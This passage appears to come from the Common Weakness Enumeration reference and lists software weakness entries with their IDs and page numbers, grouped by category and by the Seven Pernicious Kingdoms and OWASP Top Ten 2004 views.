  - B** CWE-1074: Class with Excessively Deep Inheritance (*p.1776*)
  - B** CWE-1075: Unconditional Control Flow Transfer outside of Switch Block (*p.1777*)
  - B** CWE-1080: Source Code File with Excessive Number of Lines of Code (*p.1781*)



- B CWE-1086: Class with Excessive Number of Child Classes (p.1786)
- B CWE-1095: Loop Condition Value Update within the Loop (p.1795)
- B CWE-1119: Excessive Use of Unconditional Branching (p.1816)
- B CWE-1121: Excessive McCabe Cyclomatic Complexity (p.1818)
- B CWE-1122: Excessive Halstead Complexity (p.1819)
- B CWE-1123: Excessive Use of Self-Modifying Code (p.1820)
- B CWE-1124: Excessively Deep Nesting (p.1820)
- B CWE-1125: Excessive Attack Surface (p.1821)
- C CWE-557: Concurrency Issues (p.2122)
  - B CWE-363: Race Condition Enabling Link Following (p.849)
  - B CWE-364: Signal Handler Race Condition (p.851)
  - B CWE-366: Race Condition within a Thread (p.856)
  - B CWE-367: Time-of-check Time-of-use (TOCTOU) Race Condition (p.858)
  - B CWE-368: Context Switching Race Condition (p.863)
  - B CWE-386: Symbolic Name not Mapping to Correct Object (p.892)
  - B CWE-421: Race Condition During Access to Alternate Channel (p.965)
  - B CWE-567: Unsynchronized Access to Shared Data in a Multithreaded Context (p.1213)
  - B CWE-585: Empty Synchronized Block (p.1241)
  - B CWE-663: Use of a Non-reentrant Function in a Concurrent Context (p.1365)
  - B CWE-820: Missing Synchronization (p.1601)
  - B CWE-821: Incorrect Synchronization (p.1603)
  - B CWE-1058: Invokable Control Element in Multi-Thread Context with non-Final Static Storable or Member Element (p.1758)
  - B CWE-1088: Synchronous Access of Remote Resource without Timeout (p.1788)
- C CWE-255: Credentials Management Errors (p.2107)
  - B CWE-256: Plaintext Storage of a Password (p.583)
  - B CWE-257: Storing Passwords in a Recoverable Format (p.586)
  - B CWE-260: Password in Configuration File (p.596)
  - B CWE-261: Weak Encoding for Password (p.598)
  - B CWE-262: Not Using Password Aging (p.600)
  - B CWE-263: Password Aging with Long Expiration (p.602)
  - B CWE-324: Use of a Key Past its Expiration Date (p.752)
  - B CWE-521: Weak Password Requirements (p.1154)
  - B CWE-523: Unprotected Transport of Credentials (p.1161)
  - B CWE-549: Missing Password Field Masking (p.1190)
  - B CWE-620: Unverified Password Change (p.1301)
  - B CWE-640: Weak Password Recovery Mechanism for Forgotten Password (p.1326)
  - B CWE-798: Use of Hard-coded Credentials (p.1573)
  - B CWE-916: Use of Password Hash With Insufficient Computational Effort (p.1688)
- C CWE-310: Cryptographic Issues (p.2111)
  - B CWE-261: Weak Encoding for Password (p.598)
  - B CWE-324: Use of a Key Past its Expiration Date (p.752)
  - B CWE-325: Missing Cryptographic Step (p.754)
  - B CWE-328: Use of Weak Hash (p.765)
  - B CWE-331: Insufficient Entropy (p.778)
  - B CWE-334: Small Space of Random Values (p.784)
  - B CWE-335: Incorrect Usage of Seeds in Pseudo-Random Number Generator (PRNG) (p.786)
  - B CWE-338: Use of Cryptographically Weak Pseudo-Random Number Generator (PRNG) (p.793)
  - B CWE-347: Improper Verification of Cryptographic Signature (p.811)
  - B CWE-916: Use of Password Hash With Insufficient Computational Effort (p.1688)
  - B CWE-1240: Use of a Cryptographic Primitive with a Risky Implementation (p.1869)
- C CWE-320: Key Management Errors (p.2112)
  - V CWE-321: Use of Hard-coded Cryptographic Key (p.745)
  - B CWE-322: Key Exchange without Entity Authentication (p.749)

- V CWE-323: Reusing a Nonce, Key Pair in Encryption (p.750)
- B CWE-324: Use of a Key Past its Expiration Date (p.752)
- C CWE-1214: Data Integrity Issues (p.2270)
  - B CWE-322: Key Exchange without Entity Authentication (p.749)
  - C CWE-346: Origin Validation Error (p.808)
  - B CWE-347: Improper Verification of Cryptographic Signature (p.811)
  - B CWE-348: Use of Less Trusted Source (p.813)
  - B CWE-349: Acceptance of Extraneous Untrusted Data With Trusted Data (p.815)
  - B CWE-351: Insufficient Type Distinction (p.820)
  - B CWE-353: Missing Support for Integrity Check (p.828)
  - B CWE-354: Improper Validation of Integrity Check Value (p.830)
  - B CWE-494: Download of Code Without Integrity Check (p.1119)
  - B CWE-565: Reliance on Cookies without Validation and Integrity Checking (p.1209)
  - B CWE-649: Reliance on Obfuscation or Encryption of Security-Relevant Inputs without Integrity Checking (p.1346)
  - B CWE-829: Inclusion of Functionality from Untrusted Control Sphere (p.1621)
  - B CWE-924: Improper Enforcement of Message Integrity During Transmission in a Communication Channel (p.1701)
- C CWE-19: Data Processing Errors (p.2101)
  - B CWE-130: Improper Handling of Length Parameter Inconsistency (p.336)
  - B CWE-166: Improper Handling of Missing Special Element (p.406)
  - B CWE-167: Improper Handling of Additional Special Element (p.408)
  - B CWE-168: Improper Handling of Inconsistent Special Elements (p.409)
  - B CWE-178: Improper Handling of Case Sensitivity (p.427)
  - B CWE-182: Collapse of Data into Unsafe Value (p.437)
  - B CWE-186: Overly Restrictive Regular Expression (p.447)
  - B CWE-229: Improper Handling of Values (p.542)
  - B CWE-233: Improper Handling of Parameters (p.546)
  - B CWE-237: Improper Handling of Structural Elements (p.552)
  - B CWE-241: Improper Handling of Unexpected Data Type (p.555)
  - B CWE-409: Improper Handling of Highly Compressed Data (Data Amplification) (p.943)
  - B CWE-471: Modification of Assumed-Immutable Data (MAID) (p.1060)
  - B CWE-472: External Control of Assumed-Immutable Web Parameter (p.1062)
  - B CWE-601: URL Redirection to Untrusted Site ('Open Redirect') (p.1266)
  - B CWE-611: Improper Restriction of XML External Entity Reference (p.1286)
  - B CWE-624: Executable Regular Expression Error (p.1308)
  - B CWE-625: Permissive Regular Expression (p.1309)
  - B CWE-776: Improper Restriction of Recursive Entity References in DTDs ('XML Entity Expansion') (p.1521)
  - B CWE-1024: Comparison of Incompatible Types (p.1733)
- C CWE-137: Data Neutralization Issues (p.2102)
  - B CWE-76: Improper Neutralization of Equivalent Special Elements (p.139)
  - B CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection') (p.147)
  - B CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') (p.159)
  - B CWE-88: Improper Neutralization of Argument Delimiters in a Command ('Argument Injection') (p.188)
  - B CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection') (p.195)
  - B CWE-90: Improper Neutralization of Special Elements used in an LDAP Query ('LDAP Injection') (p.207)
  - B CWE-91: XML Injection (aka Blind XPath Injection) (p.209)
  - B CWE-93: Improper Neutralization of CRLF Sequences ('CRLF Injection') (p.211)
  - B CWE-94: Improper Control of Generation of Code ('Code Injection') (p.213)
  - B CWE-96: Improper Neutralization of Directives in Statically Saved Code ('Static Code Injection') (p.225)
  - B CWE-117: Improper Output Neutralization for Logs (p.279)

- B CWE-140: Improper Neutralization of Delimiters (p.360)
- B CWE-170: Improper Null Termination (p.411)
- B CWE-188: Reliance on Data/Memory Layout (p.451)
- B CWE-462: Duplicate Key in Associative List (Alist) (p.1043)
- B CWE-463: Deletion of Data Structure Sentinel (p.1045)
- B CWE-464: Addition of Data Structure Sentinel (p.1047)
- B CWE-641: Improper Restriction of Names for Files and Other Resources (p.1329)
- B CWE-643: Improper Neutralization of Data within XPath Expressions ('XPath Injection') (p.1336)
- B CWE-652: Improper Neutralization of Data within XQuery Expressions ('XQuery Injection') (p.1351)
- B CWE-791: Incomplete Filtering of Special Elements (p.1564)
- B CWE-795: Only Filtering Special Elements at a Specified Location (p.1569)
- B CWE-838: Inappropriate Encoding for Output Context (p.1641)
- B CWE-917: Improper Neutralization of Special Elements used in an Expression Language Statement ('Expression Language Injection') (p.1692)
- B CWE-1236: Improper Neutralization of Formula Elements in a CSV File (p.1865)
- C CWE-1225: Documentation Issues (p.2273)
  - B CWE-1053: Missing Documentation for Design (p.1753)
  - B CWE-1068: Inconsistency Between Implementation and Documented Design (p.1769)
  - B CWE-1110: Incomplete Design Documentation (p.1808)
  - B CWE-1111: Incomplete I/O Documentation (p.1809)
  - B CWE-1112: Incomplete Documentation of Program Execution (p.1810)
  - B CWE-1118: Insufficient Documentation of Error Handling Techniques (p.1815)
- C CWE-1219: File Handling Issues (p.2273)
  - B CWE-23: Relative Path Traversal (p.44)
  - B CWE-36: Absolute Path Traversal (p.72)
  - B CWE-41: Improper Resolution of Path Equivalence (p.83)
  - B CWE-59: Improper Link Resolution Before File Access ('Link Following') (p.108)
  - B CWE-66: Improper Handling of File Names that Identify Virtual Resources (p.121)
  - B CWE-378: Creation of Temporary File With Insecure Permissions (p.879)
  - B CWE-379: Creation of Temporary File in Directory with Insecure Permissions (p.881)
  - B CWE-426: Untrusted Search Path (p.972)
  - B CWE-427: Uncontrolled Search Path Element (p.977)
  - B CWE-428: Unquoted Search Path or Element (p.982)
- C CWE-1227: Encapsulation Issues (p.2274)
  - B CWE-1054: Invocation of a Control Element at an Unnecessarily Deep Horizontal Layer (p.1754)
  - B CWE-1057: Data Access Operations Outside of Expected Data Manager Component (p.1757)
  - B CWE-1062: Parent Class with References to Child Class (p.1763)
  - B CWE-1083: Data Access from Outside Expected Data Manager Component (p.1783)
  - B CWE-1090: Method Containing Access of a Member Element from Another Class (p.1791)
  - B CWE-1100: Insufficient Isolation of System-Dependent Functions (p.1800)
  - B CWE-1105: Insufficient Encapsulation of Machine-Dependent Functionality (p.1804)
- C CWE-389: Error Conditions, Return Values, Status Codes (p.2115)
  - B CWE-209: Generation of Error Message Containing Sensitive Information (p.510)
  - B CWE-248: Uncaught Exception (p.566)
  - B CWE-252: Unchecked Return Value (p.575)
  - B CWE-253: Incorrect Check of Function Return Value (p.582)
  - B CWE-390: Detection of Error Condition Without Action (p.893)
  - B CWE-391: Unchecked Error Condition (p.898)
  - B CWE-392: Missing Report of Error Condition (p.901)
  - B CWE-393: Return of Wrong Status Code (p.903)
  - B CWE-394: Unexpected Status Code or Return Value (p.904)
  - B CWE-395: Use of NullPointerException Catch to Detect NULL Pointer Dereference (p.906)
  - B CWE-396: Declaration of Catch for Generic Exception (p.908)
  - B CWE-397: Declaration of Throws for Generic Exception (p.910)

- B CWE-544: Missing Standardized Error Handling Mechanism (p.1185)
- B CWE-584: Return Inside Finally Block (p.1240)
- B CWE-600: Uncaught Exception in Servlet (p.1264)
- B CWE-617: Reachable Assertion (p.1297)
- B CWE-756: Missing Custom Error Page (p.1469)
- B CWE-1069: Empty Exception Block (p.1770)
- C CWE-569: Expression Issues (p.2123)
  - B CWE-480: Use of Incorrect Operator (p.1087)
  - B CWE-570: Expression is Always False (p.1216)
  - B CWE-571: Expression is Always True (p.1219)
  - V CWE-588: Attempt to Access Child of a Non-structure Pointer (p.1246)
  - V CWE-595: Comparison of Object References Instead of Object Contents (p.1256)
  - B CWE-783: Operator Precedence Logic Error (p.1536)
- C CWE-429: Handler Errors (p.2119)
  - B CWE-430: Deployment of Wrong Handler (p.985)
  - B CWE-431: Missing Handler (p.986)
  - B CWE-432: Dangerous Signal Handler not Disabled During Sensitive Operations (p.988)
  - V CWE-433: Unparsed Raw Web Content Delivery (p.989)
  - B CWE-434: Unrestricted Upload of File with Dangerous Type (p.991)
  - V CWE-479: Signal Handler Use of a Non-reentrant Function (p.1084)
- C CWE-199: Information Management Errors (p.2104)
  - B CWE-201: Insertion of Sensitive Information Into Sent Data (p.493)
  - B CWE-204: Observable Response Discrepancy (p.501)
  - B CWE-205: Observable Behavioral Discrepancy (p.504)
  - B CWE-208: Observable Timing Discrepancy (p.508)
  - B CWE-209: Generation of Error Message Containing Sensitive Information (p.510)
  - B CWE-212: Improper Removal of Sensitive Information Before Storage or Transfer (p.520)
  - B CWE-213: Exposure of Sensitive Information Due to Incompatible Policies (p.523)
  - B CWE-214: Invocation of Process Using Visible Sensitive Information (p.525)
  - B CWE-215: Insertion of Sensitive Information Into Debugging Code (p.527)
  - B CWE-312: Cleartext Storage of Sensitive Information (p.725)
  - B CWE-319: Cleartext Transmission of Sensitive Information (p.740)
  - B CWE-359: Exposure of Private Personal Information to an Unauthorized Actor (p.836)
  - B CWE-497: Exposure of Sensitive System Information to an Unauthorized Control Sphere (p.1127)
  - B CWE-524: Use of Cache Containing Sensitive Information (p.1163)
  - B CWE-532: Insertion of Sensitive Information into Log File (p.1171)
  - B CWE-540: Inclusion of Sensitive Information in Source Code (p.1180)
  - B CWE-921: Storage of Sensitive Data in a Mechanism without Access Control (p.1697)
  - B CWE-1230: Exposure of Sensitive Information Through Metadata (p.1855)
- C CWE-452: Initialization and Cleanup Errors (p.2120)
  - B CWE-226: Sensitive Information in Resource Not Removed Before Reuse (p.536)
  - B CWE-454: External Initialization of Trusted Variables or Data Stores (p.1025)
  - B CWE-455: Non-exit on Failed Initialization (p.1028)
  - B CWE-459: Incomplete Cleanup (p.1038)
  - B CWE-460: Improper Cleanup on Thrown Exception (p.1041)
  - B CWE-1051: Initialization with Hard-Coded Network Resource Configuration Data (p.1751)
  - B CWE-1052: Excessive Use of Hard-Coded Literals in Initialization (p.1752)
  - B CWE-1188: Insecure Default Initialization of Resource (p.1828)
- C CWE-1215: Data Validation Issues (p.2271)
  - B CWE-112: Missing XML Validation (p.261)
  - V CWE-129: Improper Validation of Array Index (p.327)
  - B CWE-179: Incorrect Behavior Order: Early Validation (p.430)
  - B CWE-183: Permissive List of Allowed Inputs (p.439)
  - B CWE-184: Incomplete List of Disallowed Inputs (p.441)



- B CWE-606: Unchecked Input for Loop Condition (p.1278)
- B CWE-641: Improper Restriction of Names for Files and Other Resources (p.1329)
- B CWE-1173: Improper Use of Validation Framework (p.1824)
- C CWE-1216: Lockout Mechanism Errors (p.2271)
- B CWE-645: Overly Restrictive Account Lockout Mechanism (p.1340)
- C CWE-1218: Memory Buffer Errors (p.2272)
- B CWE-120: Buffer Copy without Checking Size of Input ('Classic Buffer Overflow') (p.294)
- B CWE-123: Write-what-where Condition (p.310)
- B CWE-124: Buffer Underwrite ('Buffer Underflow') (p.313)
- B CWE-125: Out-of-bounds Read (p.316)
- B CWE-131: Incorrect Calculation of Buffer Size (p.340)
- B CWE-786: Access of Memory Location Before Start of Buffer (p.1544)
- B CWE-787: Out-of-bounds Write (p.1547)
- B CWE-788: Access of Memory Location After End of Buffer (p.1555)
- B CWE-805: Buffer Access with Incorrect Length Value (p.1585)
- C CWE-189: Numeric Errors (p.2103)
- B CWE-128: Wrap-around Error (p.324)
- B CWE-190: Integer Overflow or Wraparound (p.453)
- B CWE-191: Integer Underflow (Wrap or Wraparound) (p.460)
- V CWE-192: Integer Coercion Error (p.463)
- B CWE-193: Off-by-one Error (p.466)
- B CWE-197: Numeric Truncation Error (p.479)
- B CWE-198: Use of Incorrect Byte Ordering (p.483)
- B CWE-369: Divide By Zero (p.865)
- B CWE-681: Incorrect Conversion between Numeric Types (p.1400)
- B CWE-839: Numeric Range Comparison Without Minimum Check (p.1644)
- V CWE-1077: Floating Point Comparison with Incorrect Operator (p.1778)
- B CWE-1339: Insufficient Precision or Accuracy of a Real Number (p.2064)
- B CWE-1389: Incorrect Parsing of Numbers with Different Radices (p.2084)
- C CWE-275: Permission Issues (p.2110)
- B CWE-276: Incorrect Default Permissions (p.630)
- V CWE-277: Insecure Inherited Permissions (p.634)
- V CWE-278: Insecure Preserved Inherited Permissions (p.635)
- V CWE-279: Incorrect Execution-Assigned Permissions (p.636)
- B CWE-280: Improper Handling of Insufficient Permissions or Privileges (p.638)
- B CWE-281: Improper Preservation of Permissions (p.640)
- B CWE-618: Exposed Unsafe ActiveX Method (p.1299)
- V CWE-766: Critical Data Element Declared Public (p.1495)
- V CWE-767: Access to Critical Private Variable via Public Method (p.1498)
- C CWE-465: Pointer Issues (p.2121)
- B CWE-466: Return of Pointer Value Outside of Expected Range (p.1049)
- V CWE-467: Use of sizeof() on a Pointer Type (p.1050)
- B CWE-468: Incorrect Pointer Scaling (p.1053)
- B CWE-469: Use of Pointer Subtraction to Determine Size (p.1055)
- B CWE-476: NULL Pointer Dereference (p.1070)
- B CWE-587: Assignment of a Fixed Address to a Pointer (p.1244)
- V CWE-588: Attempt to Access Child of a Non-structure Pointer (p.1246)
- B CWE-763: Release of Invalid Pointer or Reference (p.1488)
- B CWE-822: Untrusted Pointer Dereference (p.1604)
- B CWE-823: Use of Out-of-range Pointer Offset (p.1606)
- B CWE-824: Access of Uninitialized Pointer (p.1609)
- B CWE-825: Expired Pointer Dereference (p.1612)
- C CWE-265: Privilege Issues (p.2109)
- V CWE-243: Creation of chroot Jail Without Changing Working Directory (p.559)

- B CWE-250: Execution with Unnecessary Privileges (p.568)
- B CWE-266: Incorrect Privilege Assignment (p.605)
- B CWE-267: Privilege Defined With Unsafe Actions (p.608)
- B CWE-268: Privilege Chaining (p.611)
- B CWE-270: Privilege Context Switching Error (p.618)
- B CWE-272: Least Privilege Violation (p.623)
- B CWE-273: Improper Check for Dropped Privileges (p.626)
- B CWE-274: Improper Handling of Insufficient Privileges (p.629)
- B CWE-280: Improper Handling of Insufficient Permissions or Privileges (p.638)
- B CWE-501: Trust Boundary Violation (p.1135)
- V CWE-580: clone() Method Without super.clone() (p.1234)
- B CWE-648: Incorrect Use of Privileged APIs (p.1344)
- C CWE-1213: Random Number Issues (p.2270)
  - B CWE-331: Insufficient Entropy (p.778)
  - B CWE-334: Small Space of Random Values (p.784)
  - B CWE-335: Incorrect Usage of Seeds in Pseudo-Random Number Generator (PRNG) (p.786)
  - B CWE-338: Use of Cryptographically Weak Pseudo-Random Number Generator (PRNG) (p.793)
  - B CWE-341: Predictable from Observable State (p.799)
  - B CWE-342: Predictable Exact Value from Previous Values (p.801)
  - B CWE-343: Predictable Value Range from Previous Values (p.802)
  - B CWE-1241: Use of Predictable Algorithm in Random Number Generator (p.1875)
- C CWE-411: Resource Locking Problems (p.2118)
  - B CWE-412: Unrestricted Externally Accessible Lock (p.947)
  - B CWE-413: Improper Resource Locking (p.950)
  - B CWE-414: Missing Lock Check (p.953)
  - B CWE-609: Double-Checked Locking (p.1283)
  - B CWE-764: Multiple Locks of a Critical Resource (p.1493)
  - B CWE-765: Multiple Unlocks of a Critical Resource (p.1494)
  - B CWE-832: Unlock of a Resource that is not Locked (p.1631)
  - B CWE-833: Deadlock (p.1632)
- C CWE-399: Resource Management Errors (p.2117)
  - B CWE-73: External Control of File Name or Path (p.128)
  - B CWE-403: Exposure of File Descriptor to Unintended Control Sphere ('File Descriptor Leak') (p.925)
  - B CWE-410: Insufficient Resource Pool (p.945)
  - B CWE-470: Use of Externally-Controlled Input to Select Classes or Code ('Unsafe Reflection') (p.1057)
  - B CWE-502: Deserialization of Untrusted Data (p.1137)
  - B CWE-619: Dangling Database Cursor ('Cursor Injection') (p.1300)
  - B CWE-641: Improper Restriction of Names for Files and Other Resources (p.1329)
  - B CWE-694: Use of Multiple Resources with Duplicate Identifier (p.1424)
  - B CWE-763: Release of Invalid Pointer or Reference (p.1488)
  - B CWE-770: Allocation of Resources Without Limits or Throttling (p.1502)
  - B CWE-771: Missing Reference to Active Allocated Resource (p.1510)
  - B CWE-772: Missing Release of Resource after Effective Lifetime (p.1512)
  - B CWE-826: Premature Release of Resource During Expected Lifetime (p.1614)
  - B CWE-908: Use of Uninitialized Resource (p.1669)
  - B CWE-909: Missing Initialization of Resource (p.1673)
  - B CWE-910: Use of Expired File Descriptor (p.1677)
  - B CWE-911: Improper Update of Reference Count (p.1678)
  - B CWE-914: Improper Control of Dynamically-Identified Variables (p.1682)
  - B CWE-915: Improperly Controlled Modification of Dynamically-Determined Object Attributes (p.1684)
  - B CWE-920: Improper Restriction of Power Consumption (p.1696)
  - B CWE-1188: Insecure Default Initialization of Resource (p.1828)
- C CWE-387: Signal Errors (p.2114)
  - B CWE-364: Signal Handler Race Condition (p.851)

- B CWE-432: Dangerous Signal Handler not Disabled During Sensitive Operations (p.988)
- B CWE-828: Signal Handler with Functionality that is not Asynchronous-Safe (p.1617)
- B CWE-831: Signal Handler Function Associated with Multiple Signals (p.1629)
- C CWE-371: State Issues (p.2114)
- B CWE-15: External Control of System or Configuration Setting (p.17)
- B CWE-372: Incomplete Internal State Distinction (p.870)
- B CWE-374: Passing Mutable Objects to an Untrusted Method (p.871)
- B CWE-375: Returning a Mutable Object to an Untrusted Caller (p.874)
- B CWE-1265: Unintended Reentrant Invocation of Non-reentrant Code Via Nested Calls (p.1926)
- C CWE-133: String Errors (p.2101)
- B CWE-134: Use of Externally-Controlled Format String (p.349)
- B CWE-135: Incorrect Calculation of Multi-Byte String Length (p.355)
- V CWE-597: Use of Wrong Operator in String Comparison (p.1258)
- C CWE-136: Type Errors (p.2102)
- B CWE-681: Incorrect Conversion between Numeric Types (p.1400)
- B CWE-843: Access of Resource Using Incompatible Type ('Type Confusion') (p.1654)
- C CWE-355: User Interface Security Issues (p.2112)
- V CWE-317: Cleartext Storage of Sensitive Information in GUI (p.737)
- B CWE-356: Product UI does not Warn User of Unsafe Actions (p.832)
- B CWE-357: Insufficient UI Warning of Dangerous Operations (p.833)
- B CWE-447: Unimplemented or Unsupported Feature in UI (p.1015)
- B CWE-448: Obsolete Feature in UI (p.1017)
- B CWE-449: The UI Performs the Wrong Action (p.1017)
- B CWE-450: Multiple Interpretations of UI Input (p.1019)
- B CWE-549: Missing Password Field Masking (p.1190)
- B CWE-1007: Insufficient Visual Distinction of Homoglyphs Presented to User (p.1724)
- B CWE-1021: Improper Restriction of Rendered UI Layers or Frames (p.1727)
- C CWE-1217: User Session Errors (p.2272)
- B CWE-488: Exposure of Data Element to Wrong Session (p.1104)
- B CWE-613: Insufficient Session Expiration (p.1291)
- B CWE-841: Improper Enforcement of Behavioral Workflow (p.1649)



## Graph View: CWE-700: Seven Pernicious Kingdoms

- C** CWE-254: 7PK - Security Features (*p.2106*)
  - B** CWE-256: Plaintext Storage of a Password (*p.583*)
  - V** CWE-258: Empty Password in Configuration File (*p.589*)
  - V** CWE-259: Use of Hard-coded Password (*p.591*)
  - B** CWE-260: Password in Configuration File (*p.596*)
  - B** CWE-261: Weak Encoding for Password (*p.598*)
  - B** CWE-272: Least Privilege Violation (*p.623*)
  - |P|** CWE-284: Improper Access Control (*p.644*)
  - G** CWE-285: Improper Authorization (*p.649*)
  - G** CWE-330: Use of Insufficiently Random Values (*p.772*)
  - B** CWE-359: Exposure of Private Personal Information to an Unauthorized Actor (*p.836*)
  - B** CWE-798: Use of Hard-coded Credentials (*p.1573*)
- C** CWE-361: 7PK - Time and State (*p.2113*)
  - B** CWE-364: Signal Handler Race Condition (*p.851*)
  - B** CWE-367: Time-of-check Time-of-use (TOCTOU) Race Condition (*p.858*)
  - G** CWE-377: Insecure Temporary File (*p.876*)
  - V** CWE-382: J2EE Bad Practices: Use of System.exit() (*p.883*)
  - V** CWE-383: J2EE Bad Practices: Direct Use of Threads (*p.885*)
  - ⋈** CWE-384: Session Fixation (*p.887*)
  - B** CWE-412: Unrestricted Externally Accessible Lock (*p.947*)
- C** CWE-388: 7PK - Errors (*p.2114*)
  - B** CWE-391: Unchecked Error Condition (*p.898*)
  - B** CWE-395: Use of NullPointerException Catch to Detect NULL Pointer Dereference (*p.906*)
  - B** CWE-396: Declaration of Catch for Generic Exception (*p.908*)
  - B** CWE-397: Declaration of Throws for Generic Exception (*p.910*)
- C** CWE-1005: 7PK - Input Validation and Representation (*p.2214*)
  - G** CWE-20: Improper Input Validation (*p.19*)
    - V** CWE-102: Struts: Duplicate Validation Forms (*p.239*)
    - V** CWE-103: Struts: Incomplete validate() Method Definition (*p.240*)
    - V** CWE-104: Struts: Form Bean Does Not Extend Validation Class (*p.243*)
    - V** CWE-105: Struts: Form Field Without Validator (*p.245*)
    - V** CWE-106: Struts: Plug-in Framework not in Use (*p.248*)
    - V** CWE-107: Struts: Unused Validation Form (*p.251*)
    - V** CWE-108: Struts: Unvalidated Action Form (*p.253*)
    - V** CWE-109: Struts: Validator Turned Off (*p.254*)
    - V** CWE-110: Struts: Validator Without Form Field (*p.256*)
    - V** CWE-111: Direct Use of Unsafe JNI (*p.258*)
    - B** CWE-112: Missing XML Validation (*p.261*)
    - V** CWE-113: Improper Neutralization of CRLF Sequences in HTTP Headers ('HTTP Request/Response Splitting') (*p.263*)
    - G** CWE-114: Process Control (*p.268*)
    - B** CWE-117: Improper Output Neutralization for Logs (*p.279*)
    - G** CWE-119: Improper Restriction of Operations within the Bounds of a Memory Buffer (*p.283*)
    - B** CWE-120: Buffer Copy without Checking Size of Input ('Classic Buffer Overflow') (*p.294*)
    - B** CWE-134: Use of Externally-Controlled Format String (*p.349*)
    - B** CWE-15: External Control of System or Configuration Setting (*p.17*)
    - B** CWE-170: Improper Null Termination (*p.411*)
    - B** CWE-190: Integer Overflow or Wraparound (*p.453*)
    - B** CWE-466: Return of Pointer Value Outside of Expected Range (*p.1049*)
    - B** CWE-470: Use of Externally-Controlled Input to Select Classes or Code ('Unsafe Reflection') (*p.1057*)
    - B** CWE-73: External Control of File Name or Path (*p.128*)
    - V** CWE-785: Use of Path Manipulation Function without Maximum-sized Buffer (*p.1542*)

- C CWE-77: Improper Neutralization of Special Elements used in a Command ('Command Injection') (p.141)
- B CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') (p.159)
- B CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection') (p.195)
- C CWE-99: Improper Control of Resource Identifiers ('Resource Injection') (p.235)
- C CWE-227: 7PK - API Abuse (p.2105)
  - B CWE-242: Use of Inherently Dangerous Function (p.557)
  - V CWE-243: Creation of chroot Jail Without Changing Working Directory (p.559)
  - V CWE-244: Improper Clearing of Heap Memory Before Release ('Heap Inspection') (p.561)
  - V CWE-245: J2EE Bad Practices: Direct Management of Connections (p.563)
  - V CWE-246: J2EE Bad Practices: Direct Use of Sockets (p.564)
  - B CWE-248: Uncaught Exception (p.566)
  - B CWE-250: Execution with Unnecessary Privileges (p.568)
  - C CWE-251: Often Misused: String Management (p.2106)
  - B CWE-252: Unchecked Return Value (p.575)
  - V CWE-558: Use of getlogin() in Multithreaded Application (p.1199)
- C CWE-398: 7PK - Code Quality (p.2116)
  - V CWE-401: Missing Release of Memory after Effective Lifetime (p.921)
  - C CWE-404: Improper Resource Shutdown or Release (p.927)
  - V CWE-415: Double Free (p.954)
  - V CWE-416: Use After Free (p.958)
  - V CWE-457: Use of Uninitialized Variable (p.1034)
  - B CWE-474: Use of Function with Inconsistent Implementations (p.1067)
  - B CWE-475: Undefined Behavior for Input to API (p.1069)
  - B CWE-476: NULL Pointer Dereference (p.1070)
  - B CWE-477: Use of Obsolete Function (p.1076)
- C CWE-485: 7PK - Encapsulation (p.2121)
  - V CWE-486: Comparison of Classes by Name (p.1100)
  - B CWE-488: Exposure of Data Element to Wrong Session (p.1104)
  - B CWE-489: Active Debug Code (p.1106)
  - V CWE-491: Public cloneable() Method Without Final ('Object Hijack') (p.1108)
  - V CWE-492: Use of Inner Class Containing Sensitive Data (p.1110)
  - V CWE-493: Critical Public Variable Without Final Modifier (p.1117)
  - V CWE-495: Private Data Structure Returned From A Public Method (p.1123)
  - V CWE-496: Public Data Assigned to Private Array-Typed Field (p.1125)
  - B CWE-497: Exposure of Sensitive System Information to an Unauthorized Control Sphere (p.1127)
  - B CWE-501: Trust Boundary Violation (p.1135)
- C CWE-2: 7PK - Environment (p.2099)
  - V CWE-11: ASP.NET Misconfiguration: Creating Debug Binary (p.9)
  - V CWE-12: ASP.NET Misconfiguration: Missing Custom Error Page (p.11)
  - V CWE-13: ASP.NET Misconfiguration: Password in Configuration File (p.12)
  - V CWE-14: Compiler Removal of Code to Clear Buffers (p.14)
  - V CWE-5: J2EE Misconfiguration: Data Transmission Without Encryption (p.1)
  - V CWE-6: J2EE Misconfiguration: Insufficient Session-ID Length (p.2)
  - V CWE-7: J2EE Misconfiguration: Missing Custom Error Page (p.4)
  - V CWE-8: J2EE Misconfiguration: Entity Bean Declared Remote (p.6)
  - V CWE-9: J2EE Misconfiguration: Weak Access Permissions for EJB Methods (p.7)

## Graph View: CWE-711: Weaknesses in OWASP Top Ten (2004)

- C** CWE-722: OWASP Top Ten 2004 Category A1 - Unvalidated Input (p.2127)
  - V** CWE-102: Struts: Duplicate Validation Forms (p.239)
  - V** CWE-103: Struts: Incomplete validate() Method Definition (p.240)
  - V** CWE-104: Struts: Form Bean Does Not Extend Validation Class (p.243)
  - V** CWE-106: Struts: Plug-in Framework not in Use (p.248)
  - V** CWE-109: Struts: Validator Turned Off (p.254)
  - B** CWE-120: Buffer Copy without Checking Size of Input ('Classic Buffer Overflow') (p.294)
  - B** CWE-166: Improper Handling of Missing Special Element (p.406)
  - B** CWE-167: Improper Handling of Additional Special Element (p.408)
  - B** CWE-179: Incorrect Behavior Order: Early Validation (p.430)
  - V** CWE-180: Incorrect Behavior Order: Validate Before Canonicalize (p.433)
  - V** CWE-181: Incorrect Behavior Order: Validate Before Filter (p.435)
  - B** CWE-182: Collapse of Data into Unsafe Value (p.437)
  - B** CWE-183: Permissive List of Allowed Inputs (p.439)
  - C** CWE-20: Improper Input Validation (p.19)
  - B** CWE-425: Direct Request ('Forced Browsing') (p.969)
  - B** CWE-472: External Control of Assumed-Immutable Web Parameter (p.1062)
  - B** CWE-601: URL Redirection to Untrusted Site ('Open Redirect') (p.1266)
  - C** CWE-602: Client-Side Enforcement of Server-Side Security (p.1271)
  - C** CWE-77: Improper Neutralization of Special Elements used in a Command ('Command Injection') (p.141)
  - B** CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') (p.159)
  - B** CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection') (p.195)
- C** CWE-723: OWASP Top Ten 2004 Category A2 - Broken Access Control (p.2128)
  - B** CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal') (p.33)
  - B** CWE-266: Incorrect Privilege Assignment (p.605)
  - B** CWE-268: Privilege Chaining (p.611)
